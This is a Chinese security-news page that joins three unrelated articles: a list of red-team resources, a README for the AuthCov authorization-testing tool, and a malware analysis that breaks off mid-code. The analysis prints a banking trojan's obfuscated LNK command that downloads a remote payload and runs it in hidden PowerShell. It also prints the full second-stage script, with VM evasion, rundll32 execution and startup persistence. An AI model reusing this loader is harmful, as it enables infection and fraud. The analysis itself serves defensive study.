The Daily Swig

这是由PortSwigger Web Security赞助的Web安全新闻平台。在这里,您可以了解与红队相关的开发-黑客,数据泄露,攻击,Web应用程序漏洞和新安全技术。最近的文章包括“主要工作网站上留下了数月的敏感****”,“一种新工具可帮助您找到开放的Amazon S3存储桶”“攻击性安全性现在危及了他们的手”。

Florian Hansemann

Hansemann是一名黑客和渗透测试人员。他的推文和博客关注红队成员感兴趣的工具和技术。例如,他介绍了Tokenvator(一种使用Windows令牌提升特权的工具),以及如何编写有效负载以在Windows中进行进程注入。

MWR Labs

MWR发布了对红队有用的工具。它的Twitter为安全测试人员的问题提供了建议,例如绕过内存扫描程序和绕过网站上的Windows NT LAN Manager身份验证。

Emad Shanab

Shanab是一名律师和黑客。他的Twitter提供对红队有用的技术,例如编写SQL注入和伪造OAuth令牌。

RingZer0

这个黑客团队经营着一个招牌网站,充满挑战,旨在测试和提高红队成员所需的编程技能。该小组还有一个Twitter feed,其中提供了黑客技巧和红队建议。

Bug reconnaissance

巴基斯坦的Web开发人员,机器学习爱好者和安全研究员Hussnain Fareed的文章“如何在追捕Bug赏金之前正确地进行侦察”。文章讨论了在哪里测试软件的漏洞以及可以用来发现漏洞的工具。尽管发表了异想天开的非正式演讲,但该文章对于计划侦察战略的红队可能是有用的资源。

Mitre ATT&CK

米特尔(Mitre)的对抗策略,技巧和常识(ATT&CK)是经过精心挑选的有关敌手行为的知识库。它遵循威胁参与者及其已知平台的生命周期阶段。它是由Mitre红队负责人Blake Strom开发的,他着手创建一个框架,详细描述了攻击者在破坏网络后的行为。

“攻击者可能会使用成百上千种恶意软件,包括后门,特洛伊木马,远程访问工具等,将其侵入网络内部,”斯特罗姆 在2015年10月解释说,“但一旦进入内部,它们就会表现出许多常见的行为。他们了解自己的环境,收**法用户和帐户的凭证,并迁移到网络中的其他系统以窃取信息或建立某些长期的操作或效果。”

ATT&CK对于了解已知对手行为的安全风险,计划安全改进以及验证防御措施是否按预期工作非常有用。

Will Schroeder

Schroeder是SpecterOps的工程师,为公司提供红队服务。他的专长是攻击Microsoft的PowerShell,他经常在其Twitter feed和Blog中对其进行讨论。他的最新著作包括攻击Microsoft Active Directory中的域信任的指南,以及绕过应用程序白名单并在winrm.vbs中执行任意未签名代码的讨论。

The Hacker Playbook

本书涵盖的主题包括侦察工具和战术,横向移动技巧和窍门以及密码破解。作者Peter Kim也有一个Twitter feed,其中提供了黑客技巧,并提到了其他技巧。

Nettitude Labs

Nettitude,其中发布了红队成员感兴趣的提示,技巧,工具和教程。它还在其网站上提供了许多免费的黑客工具,旨在进行各种操作,从破解密码,利用WordPress漏洞,收集侦察信息到使用PowerShell创建命令和控制系统以及设计XSS有效负载。

Red Canary

该公司提供基于云的安全服务,但有一些免费服务值得红队注意。例如,它提供了有关端点检测和响应的指南,以及使用Mitre的ATT&CK框架对红队有用的许多工具。它还提供了博客Twitter其中包含红队成员感兴趣的提示和信息。

17 tips for a successful red team

由技术自由职业者Nasrumminallah Zeeshan 撰写的本文包含有关“color”团队的教程,以及针对红队的提示。Zeeshan的另一篇有关红队成员的文章解释了如何构建出于安全原因需要定期检查的日志文件列表

SANS数字取证和事件响应

SANS研究所是网络安全培训的主要提供者。它的DFIR(数字取证和事件响应)Twitter包含有关SANS课程的最新新闻以及专家从业人员的提示。SANS DFIR还拥有一个网站,其中包含许多黑客工具,红队成员可能会发现这些工具有用,例如用假象污染内存的程序;Folder Shield,可用于隐藏系统上的文件夹;和Timestomp,用于更改NTFS时间戳的应用程序。

Red Team Journal

红队作为一个概念已经超越了技术。这是组织整合批判性和逆势思维的系统方法。这就是《红队日报》的想法。它有一些面向技术的文章,例如红队和笔测试,但也有一些思想性的文章,例如“红队宣言”。RJT还拥有一个Twitter,其中对红队的更多方面做出了许多生动的贡献。

PenTestIt

该网站将自己称为“万物信息安全的源头”,并为红队成员提供了一些有趣的花絮。例如,它具有恶意软件来源列表,包括木马,远程访问木马,键盘记录程序,勒索软件,启动工具包和漏洞利用包。它还具有Shodan查询页面。Shodan是一个搜索引擎,通常用于发现暴露于Internet的不受保护的数据库。此外,还有一篇关于对手仿真工具有用文章。

Awesome Red Teaming

这是在GitHub上维护的红队资源的非常详细的列表。它分解了红队每个技术方面,从初始访问,执行和持久性到横向移动,收集和渗透。它还涵盖小工具,书籍,培训和认证。

参考来源:techbeacon,FB小编周大涛编译,转载请注明来自FreeBuf.COM

介绍

AuthCov是一款用于Web应用扫描工具,AuthCov使用Chrome浏览器拦截并记录API请求以及在加载阶段的页面。然后,它以不同的帐户登录,并尝试访问先前发现的每个API请求或页面。重复此步骤。最后,它会生成一份详细的报告,列出发现的资源以及入侵者用户是否可以访问这些资源。

特点

1.适用于单页应用程序和传统的多页应用程序

2.处理基于令牌和基于cookie的身份验证机制

3.生成HTML格式的报告

4.可以在报告中查看爬取的每个页面的截图

安装

安装node 10. 然后运行:

$ npm install -g authcov

用法

为您要扫描的站点生成一个配置:

$ authcov new myconfig.js

更新myconfig.js中的值

通过运行此命令来测试您的配置值,确保浏览器可以登录。

$ authcov test-login myconfig.js --headless=false

抓取网站:

$ authcov crawl myconfig.js

尝试在爬取阶段发现资源:

$ authcov intrude myconfig.js

在以下位置查看生成的报告: ./tmp/report/index.html

配置

可以在配置文件中设置以下选项:

选项 类型 描述
baseUrl 网站的URL。这就是爬虫的起点。
crawlUser 对象 用户在其下爬行网站。例:{“username”: “admin”, “password”: “1234″}
intruders 数组 将爬取发现的api端点和页面的用户。通常,这些用户将具有与crawlUser相同的特权。要以未登录用户身份入侵,请添加用户名“ Public”和密码为空的用户。例:[{"username": "john", "password": "4321"}, {"username": "Public", "password": null}]
type 这是单页应用程序(即查询API后端的javascript前端)还是更“传统”的多页应用程序。(选择”mpa”或”spa”)。
authenticationType 该网站是否使用浏览器发送的cookie或请求标头中发送的令牌对用户进行身份验证,对于MPA,将其设置为”cookie”。在SPA中,可以是”cookie”或”token”。
authorisationHeaders 数组 为了验证用户,需要发送哪些请求标头,如果authenticationType = cookie,则应将其设置为["cookie"]。如果authenticationType = token,则:["X-Auth-Token"]。
maxDepth 整数 爬取的最大深度。建议从1开始。
verboseOutput 布尔值 详细输出,对于调试很有用。
saveResponses 布尔值 保存来自API的响应正文,以便您可以在报告中查看它们。
saveScreenshots 布尔值 保存已抓取页面的浏览器屏幕截图,以便您可以在报告中查看它们。
clickButtons 布尔值 (实验功能)在每个页面上进行了爬取,单击该页面上的所有按钮并记录所有发出的API请求。在通过模式,弹出窗口等具有大量用户互动的网站上非常有用。
xhrTimeout 整数 搜寻每个页面时等待XHR请求完成的时间。(秒)
pageTimeout 整数 爬取时等待页面加载的时间。(秒)
headless 布尔值 将此值设置为false可使爬虫程序打开chrome浏览器,以便您可以实时查看抓取过程。
unAuthorizedStatusCodes 数组 HTTP响应状态代码,用于决定是否向请求它的用户授权API端点或页面。(可选)定义一个函数responseIsAuthorised来确定请求是否被授权。例:[401, 403, 404]
ignoreLinksIncluding 数组 排除此数组中包含任何字符串的URL。例如,如果设置为,["/logout"]则不会抓取URL:http://localhost:3000/logout。(可选)在下面定义一个函数ignoreLink(url),以确定是否应爬网URL。
ignoreAPIrequestsIncluding 数组 排除包含此数组中任何字符串的URL进行的API记录。(可选)定义一个函数ignoreApiRequest(url)以确定是否应记录请求。
ignoreButtonsIncluding 数组 如果clickButtons设置为true,则不要单击外部HTML包含此数组中任何字符串的按钮。(可选)在下面定义一个函数ignoreButton(url)。
loginConfig 宾语 配置浏览器如何登录到您的Web应用程序。(可选)定义一个异步函数loginFunction(页面,用户名,密码)
cookiesTriggeringPage (可选)当authenticationType = cookie时,这将设置一个页面,以便入侵者浏览到此页面,然后从浏览器捕获cookie。如果站点在cookie上设置路径字段,这将很有用。默认为options.baseUrl。
tokenTriggeringPage (可选)当authenticationType = token时,将设置一个页面,以便入侵者浏览到此页面,然后从拦截的API请求中捕获authorisationHeader。如果站点的baseUrl没有发出任何API请求,因此无法捕获该页面的auth标头,则此方法很有用。默认为options.baseUrl。

配置登录

有两种方法可以在配置文件中配置登录名:

使用默认的登录机制,该机制使用puppeteer将用户名和密码输入到指定的输入中,然后单击指定的提交按钮。可以通过这样loginConfig在配置文件中设置选项进行配置。也请参见此示例

"loginConfig": {
  "url": "http://localhost/login",
  "usernameXpath": "input[name=email]",
  "passwordXpath": "input[name=password]",
  "submitXpath": "#login-button"
}

如果您的登录表单更复杂并且涉及更多的用户交互,那么您可以在配置文件中定义自己的puppeteer函数,如下所示。也请参见此示例

 "loginFunction": async function(page, username, password){
    await page.goto('http://localhost:3001/users/sign_in');
    await page.waitForSelector('input[type=email]');
    await page.waitForSelector('input[type=password]');
    await page.type('input[type=email]', username);
    await page.type('input[type=password]', password);
    await page.tap('input[type=submit]');
    await page.waitFor(500);
    return;
  }

authcov test-login为了使浏览器成功登录,请不要在头部模式下运行该命令。

贡献

单元测试:

$ npm test test/unit

集成测试:

首先下载并运行示例应用程序。然后运行测试:

$ npm test test/integration

*参考来源:github,FB小编周大涛编译,转载请注明来自FreeBuf.COM

在本文中,将分析一款银行恶意软件,分为两个阶段。第一阶段是Windows快捷方式文件(LNK文件),第二阶段为Powershell脚本(已被ISESteriods混淆)。

其中的样本包括所有删除的文件,都可以在此处下载。哈希值如下,感兴趣的小伙伴可以下载下来玩下!

MD5:907dbc3048f75bb577ff9c064f860fc5
SHA-1:667b8fa87c31f7afa9a7b32c3d88f365a2eeab9c
SHA-256:78a14c6663bd9235b014b6d7b7ce19487f163317fdd36bb111d8797d7a7f1724

阶段1 –LNK

快捷方式一般目的是调用cmd.exe去执行命令,比如如下面示例。

C:\Windows\system32\cmd.exe /V /C set x4OAGWfxlES02z6NnUkK=2whttpr0&&set L1U03HmUO6B9IcurCNNlo4=.com&& echo | start %x4OAGWfxlES02z6NnUkK:~2,4%s://get.adobe%L1U03HmUO6B9IcurCNNlo4%/br/flashplayer/

参数

参数/ V和/ C一般结合使用。然后使用/?标志来显示帮助信息。下面是执行此操作的完整命令。

cmd.exe /?

请注意,多个命令由命令分隔符“&&”分隔。

变量

变量在百分号之间拆分,并使用两个“&”号将多个命令连接在一起。关键字set用于声明变量并为其设置值。下面,对命令进行了拆分,以便每个命令都在新行上。

set x4OAGWfxlES02z6NnUkK=2whttpr0
&&
set L1U03HmUO6B9IcurCNNlo4=.com
&&
echo | start %x4OAGWfxlES02z6NnUkK:~2,4%s://get.adobe%L1U03HmUO6B9IcurCNNlo4%/br/flashplayer/

前两个变量(x4OAGWfxlES02z6NnUkK和L1U03HmUO6B9IcurCNNlo4)用于在最后一行进行拼接,最终的url如下所示

https://get.adobe.com/br/flashplayer/

调用默认的浏览器打开Adobe Flash Player官方网站。

完整的快捷方式

十六进制编辑器的结果如下。

C:\Windows\system32\cmd.exe /V /C set x4OAGWfxlES02z6NnUkK=2whttpr0&&set L1U03HmUO6B9IcurCNNlo4=.com&& echo | start %x4OAGWfxlES02z6NnUkK:~2,4%s://get.adobe%L1U03HmUO6B9IcurCNNlo4%/br/flashplayer/                                                                                                                      &&set aZM4j3ZhPLBn9MpuxaO= -win 1 &&set MlyavWfE=ndows&&set jA8Axao1xcZ=iEx&&set WMkgA3uXa1pXx=tRi&&set KNhGmAqHG5=bJe&&set 4kxhaz6bqqKC=LOad&&set rwZCnSC7T=nop&&set jcCvC=NEw&&set ZTVZ=wEbc&&set DABThzRuTT2hYjVOy=nt).dow&&set cwdOsPOdA08SZaXVp1eFR=t NeT.&&set Rb=Ers&&set j4HfRAqYXcRZ3R=hEll&&set Kpl01SsXY5tthb1=.bmp&&set vh7q6Aq0zZVLclPm=\v1.0\&&set 2Mh=pOw&&set 8riacao=%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%&&@echo off && %SystemDrive% && cd\ && cd %SystemRoot%\System32 &&echo %jA8Axao1xcZ%("%jA8Axao1xcZ%(!jcCvC!-o%KNhGmAqHG5%c!cwdOsPOdA08SZaXVp1eFR!!ZTVZ!Lie!DABThzRuTT2hYjVOy!n%4kxhaz6bqqKC%S%WMkgA3uXa1pXx%NG('%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%')"); | Wi!MlyavWfE!!2Mh!!Rb!!j4HfRAqYXcRZ3R!!vh7q6Aq0zZVLclPm!!2Mh!!Rb!!j4HfRAqYXcRZ3R! -!rwZCnSC7T!!aZM4j3ZhPLBn9MpuxaO! --%ProgramFiles%\Internet Explorer\iexplore.exe

当所有命令都在一行中时,上面的命令很难阅读。我们来重新调一下

x4OAGWfxlES02z6NnUkK=2whttpr0
L1U03HmUO6B9IcurCNNlo4=.com
%x4OAGWfxlES02z6NnUkK:~2,4%s://get.adobe%L1U03HmUO6B9IcurCNNlo4%/br/flashplayer/
aZM4j3ZhPLBn9MpuxaO= -win 1
MlyavWfE=ndows
jA8Axao1xcZ=iEx
WMkgA3uXa1pXx=tRi
KNhGmAqHG5=bJe
4kxhaz6bqqKC=LOad
rwZCnSC7T=nop
jcCvC=NEw
ZTVZ=wEbc
DABThzRuTT2hYjVOy=nt).dow
cwdOsPOdA08SZaXVp1eFR=t NeT.
Rb=Ers
j4HfRAqYXcRZ3R=hEll
Kpl01SsXY5tthb1=.bmp
vh7q6Aq0zZVLclPm=\v1.0\
2Mh=pOw
8riacao=%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%
@echo off
%SystemDrive%
cd\
cd %SystemRoot%\System32
echo %jA8Axao1xcZ%("%jA8Axao1xcZ%(!jcCvC!-o%KNhGmAqHG5%c!cwdOsPOdA08SZaXVp1eFR!!ZTVZ!Lie!DABThzRuTT2hYjVOy!n%4kxhaz6bqqKC%S%WMkgA3uXa1pXx%NG('%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%')"); | Wi!MlyavWfE!!2Mh!!Rb!!j4HfRAqYXcRZ3R!!vh7q6Aq0zZVLclPm!!2Mh!!Rb!!j4HfRAqYXcRZ3R! -!rwZCnSC7T!!aZM4j3ZhPLBn9MpuxaO! --%ProgramFiles%\Internet Explorer\iexplore.exe

将上面的命令提取一下,大概命令如下。

echo iEx(iEx(NEw-obJect NeT.wEbcLient).downLOadStRiNG('https://s3-eu-west-1.amazonaws.com/juremasobra2/jureklarj934t9oi4.bmp')"); | WindowspOwErshEll\v1.0\pOwErshEll -nop -win 1 --%ProgramFiles%\Internet Explorer\iexplore.exe

根据Microsoft文档中的提示,iex代表Invoke-Expression,也就是执行的意思,这串代码的意思就是从Amazon AWS服务器下载位图(.BMP),然后使用Powershell打开它。参数-nop。不使用任何配置文件,其次,参数-win 1,值1代表隐藏窗口。

第二阶段– ISES

我们提取出bmp图片里面的Powershell脚本。完整的脚本如下。

${____/===\/=====\/} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcABzADoALwAvAHMAMwAtAGUAdQAtAHcAZQBzAHQALQAxA**AYQBtAGEAegBvAG4AYQB3AHMALgBjAG8AbQAvAGoAdQByAGUAbQBhAHMAbwBiAHIAYQAyAC8AaQBtAGEAZwBlADIALgBwAG4AZwA===')))
_.dll = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XwAuAGQAbABsAA==')))
_.prx = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XwAuAHAAcgB4AA==')))
MaxNotify   = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TQBhAHgATgBvAHQAaQBmAHkA')))
 
function _/=\/\/===\/==\___
{
  ${_/\___/=\_/\/\__/} = gwmi -Class Win32_ComputerSystem |select -ExpandProperty Model
  if (${_/\___/=\_/\/\__/} -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VgBpAHIAdAB1AGEAbABCAG8AeAA='))) -or
    ${_/\___/=\_/\/\__/} -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VgBNAHcAYQByAGUAIABWAGkAcgB0AHUAYQBsACAAUABsAGEAdABmAG8AcgBtAA=='))) -or
    ${_/\___/=\_/\/\__/} -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VgBpAHIAdAB1AGEAbAAgAE0AYQBjAGgAaQBuAGUA'))) -or
  ${_/\___/=\_/\/\__/} -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SABWAE0AIABkAG8AbQBVAA=='))))
  {
    return "Y"
  }
  else
  { 
    return "N"
  }
}
function ____/\__/===\_/=\/
{
  try
  {
    ${___/\_/=\_/=\_/\/} = Get-Random -Minimum 1 -Maximum 9
    ${_/\/\_/\/\_/=\/\/} = ""
    For (${/==\/\___/\_/\/==}=0; ${/==\/\___/\_/\/==} -le ${___/\_/=\_/=\_/\/}; ${/==\/\___/\_/\/==}++) 
    {
      qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM  = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cQB3AGUAcgB0AHkAdQBpAG8AcABsAGsAagBoAGcAZgBkAHMAYQB6AHgAYwB2AGIAbgBtAFE**wBFAFI**ABZAFUASQBPAFAAQQBTAEQARgBHAEgASgBLAEwAWgBYAEM**gBCAE4ATQA=')))
      nomeRandomico_getrandom  = Get-Random -Minimum 1 -Maximum qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.Length
      caractereRandomico = qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.Substring(nomeRandomico_getrandom,1)
      ${_/\/\_/\/\_/=\/\/} = ${_/\/\_/\/\_/=\/\/}+caractereRandomico   
    }
    return ${_/\/\_/\/\_/=\/\/} 
  }
  finally{}
}
function __/====\___/=\_/\_(${___/\/\_/\_/=\__/\}, ${___/==\/=\/=\____/})
{ 
    ${/=\_/\/====\/\_/\} = New-Object $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBVAHIAaQA='))) $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AF8AXwBfAC8AXAAvAFwAXwAvAFwAXwAvAD0AXABfAF8ALwBcAH0A'))) 
    ${/=\/===\_/\/\_/\_} = [System.Net.HttpWebRequest]::Create(${/=\_/\/====\/\_/\}) 
    ${/=\/===\_/\/\_/\_}.set_Timeout(15000) 
    ${/=\/====\__/==\__} = ${/=\/===\_/\/\_/\_}.GetResponse() 
    ${/=\_/==\__/\__/\_} = [System.Math]::Floor(${/=\/====\__/==\__}.get_ContentLength()/1024) 
    ${_/===\/=\_/=\___/} = ${/=\/====\__/==\__}.GetResponseStream() 
    ${__/====\__/\/\__/} = New-Object -TypeName System.IO.FileStream -ArgumentList ${___/==\/=\/=\____/}, Create 
    ${/=\/=\/==\_/\/=\_} = new-object byte[] 10KB 
    ${_/===\_/=\/\/===\} = ${_/===\/=\_/=\___/}.Read(${/=\/=\/==\_/\/=\_},0,${/=\/=\/==\_/\/=\_}.length) 
    ${/==\_/===\/\/=\/\} = ${_/===\_/=\/\/===\} 
    while (${_/===\_/=\/\/===\} -gt 0) 
    { 
        ${__/====\__/\/\__/}.Write(${/=\/=\/==\_/\/=\_}, 0, ${_/===\_/=\/\/===\}) 
        ${_/===\_/=\/\/===\} = ${_/===\/=\_/=\___/}.Read(${/=\/=\/==\_/\/=\_},0,${/=\/=\/==\_/\/=\_}.length) 
        ${/==\_/===\/\/=\/\} = ${/==\_/===\/\/=\/\} + ${_/===\_/=\/\/===\} 
    } 
    ${__/====\__/\/\__/}.Flush()
    ${__/====\__/\/\__/}.Close() 
    ${__/====\__/\/\__/}.Dispose() 
    ${_/===\/=\_/=\___/}.Dispose() 
    return "Y"
} 
function _____/==\_/=\_/===
{
  Param([string]${_/=====\/==\/\___/},[string]${___/\____/\_/=\/\_});
  try{  
    ${_/\/=\/\/===\/\/\} = New-Object -ComObject WScript.Shell 
    ${/=\/=\/\/=\_/=\__} = ${_/\/=\/\/===\/\/\}.CreateShortcut(${_/=====\/==\/\___/}) 
    ${/=\/=\/\/=\_/=\__}.TargetPath = 'powershell'
    ${/=\/=\/\/=\_/=\__}.Arguments = $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AF8AXwBfAC8AXABfAF8AXwBfAC8AXABfAC8APQBcAC8AXABfAH0A')))
    ${/=\/=\/\/=\_/=\__}.WorkingDirectory = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQBTAHkAcwB0AGUAbQBSAG8AbwB0ACUAXABTAHkAcwB0AGUAbQAzADIA'))) 
    ${/=\/=\/\/=\_/=\__}.WindowStyle = 7   
    ${/=\/=\/\/=\_/=\__}.IconLocation = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwAlAFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAaQBlAHgAcABsAG8AcgBlA**AZQB4AGUALAAxAA==')))
    ${/=\/=\/\/=\_/=\__}.Save()
  }finally{}
}
function _/=\/\_/\/===\_/==
{
  try
  {
    ${_/======\_/\/=\/\} = New-Object System.Threading.Mutex($false, $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('NAA0ADQANAA0ADQANAA0ADQANAA0ADQA'))))
    return ${_/======\_/\/=\/\}.WaitOne()  
  }finally{}
}
  if (_/=\/\/===\/==\___ -eq "N")
  {
  if (_/=\/\_/\/===\_/==)  {
     stop-process -name wmplayer 
    ${___/\/===\____/\/} = ${env:APPDATA}+"\"
    ${/=\______/=\/==\/} = ____/\__/===\_/=\/
    ${/===\/=\/\_/=\/==} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgB0AHgAdAA=')))
    ${_/=\/===\/\___/\_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgB2AGIAcwA=')))
    ${/=\/==\__/\_/\__/}  = ${___/\/===\____/\/}+${/=\______/=\/==\/}+${/===\/=\/\_/=\/==}
    ${/=\__/=\___/===\_}  = ${___/\/===\____/\/}+${/=\______/=\/==\/}+${_/=\/===\/\___/\_} 
    sleep -s 1
        ${/===\/\_/====\/=\}  = $false
        while(${/===\/\_/====\/=\} -ne $true)
        {
        __/====\___/=\_/\_ ${____/===\/=====\/} ${/=\/==\__/\_/\__/}; sleep -s 1 
        if ((gi ${/=\/==\__/\_/\__/}).length -gt 2048kb)
         {
           ${/===\/\_/====\/=\}  = $true                                                          
           ${_/=\_/==\/=\__/\_} =  "Y" 
          } 
          else 
           {                     
            ${_/=\_/==\/=\__/\_} = "N"
           }
        Write-Host ${/===\/\_/====\/=\}
        }  
       ${_/=\_/==\/=\__/\_} =  "Y" 
        if (${_/=\_/==\/=\__/\_} -eq "Y")
          {
          ${/===\__/\/==\_/==} = ${___/\/===\____/\/}+${/=\______/=\/==\/} +$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgB6AGkAcAA=')))
           ren -Path $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AC8APQBcAC8APQA9AFwAXwBfAC8AXABfAC8AXABfAF8ALwB9AA=='))) -NewName $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AC8APQA9AD0AXABfAF8ALwBcAC8APQA9AFwAXwAvAD0APQB9AA==')));
          ${/=\_/=\_/===\___/} = New-Object -ComObject shell.application
          ${_/\___/\_/======\} = ${/=\_/=\_/===\___/}.NameSpace(${/===\__/\/==\_/==})               
            foreach (${_/====\/\_/\/\__/} in ${_/\___/\_/======\}.items()) 
             {
                ${/=\_/=\_/===\___/}.Namespace(${___/\/===\____/\/}).CopyHere(${_/====\/\_/\/\__/})
             }
          sleep -s 3 
          ${_/\_/=\_/=\_/\___} = ____/\__/===\_/=\/
          ${/=\_/===\/\_/===\} = ${_/\_/=\_/=\_/\___} + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgBwAHIAeAA='))) 
          ${_/\_/=\_/=\_/\___} = ${_/\_/=\_/=\_/\___} +$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgBkAGwAbAA='))) 
          ren -Path $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAHsAXwAvAFwALwBcAF8ALwBcAF8ALwA9AFwALwA9AD0APQA9AH0A'))) -NewName $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAHsAXwAvAFwAXwAvAD0AXABfAC8APQBcAF8ALwBcAF8AXwBfAH0A'))); 
          ren -Path $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAHsAXwAvAFwAXwBfAF8AXwAvAD0AXAAvAFwAXwAvAD0APQA9AH0A'))) -NewName $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAHsALwA9AFwAXwAvAD0APQA9AFwALwBcAF8ALwA9AD0APQBcAH0A')));  
          sleep -s 3 
          cd $env:APPDATA ; 
          shellObjeto = New-Object -Com WScript.Shell
          ${_/=\/\/\/=\__/\/=} = shellObjeto.SpecialFolders.Item($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGEAcgB0AHUAcAA='))));          
          del ${_/=\/\/\/=\__/\/=}\*.vbs
          del ${_/=\/\/\/=\__/\/=}\*.lnk
          ${/=\______/\_/\_/=} = $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('IAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBkACAAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAByAHUAbgBkAGwAbAAzADIALgBlAHgAZQAgACQAewBfAC8AXABfAC8APQBcAF8ALwA9AFwAXwAvAFwAXwBfAF8AfQAsACAAJAB7AF8AXwBfAC8APQBcAC8AXAAvAFwAXwBfAF8AXwBfAC8APQB9AA==')))
          ${___/=\/==\/\_____} = $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AF8ALwA9AFwALwBcAC8AXAAvAD0AXABfAF8ALwBcAC8APQB9AFwAJAB7AC8APQBcAF8ALwA9AD0APQBcAC8AXABfAC8APQA9AD0AXAB9A**AbABuAGsA')))          
          _____/==\_/=\_/=== ${___/=\/==\/\_____}  ${/=\______/\_/\_/=}
          sleep -s 40
Restart-Computer -Force
        }
    }
  }

代码中各种花里胡巧的混淆。函数和变量名什么的都被混淆了,代码中的字符串也使用base64编码方案进行了编码。

这样肯定是读不了的,要想办法还原回去,下面给出了替换字符串的代码。

${____/===\/=====\/} = $('https://s3-eu-west-1.amazonaws.com/juremasobra2/image2.png')
_.dll = $('_.dll')
_.prx = $('_.prx')
MaxNotify   = $('MaxNotify')
 
function _/=\/\/===\/==\___
{
  ${_/\___/=\_/\/\__/} = gwmi -Class Win32_ComputerSystem |select -ExpandProperty Model
  if (${_/\___/=\_/\/\__/} -eq $('VirtualBox') -or
    ${_/\___/=\_/\/\__/} -eq $('VMware Virtual Platform') -or
    ${_/\___/=\_/\/\__/} -eq $('Virtual Machine') -or
  ${_/\___/=\_/\/\__/} -eq $('HVM domU')
  {
    return "Y"
  }
  else
  { 
    return "N"
  }
}
function ____/\__/===\_/=\/
{
  try
  {
    ${___/\_/=\_/=\_/\/} = Get-Random -Minimum 1 -Maximum 9
    ${_/\/\_/\/\_/=\/\/} = ""
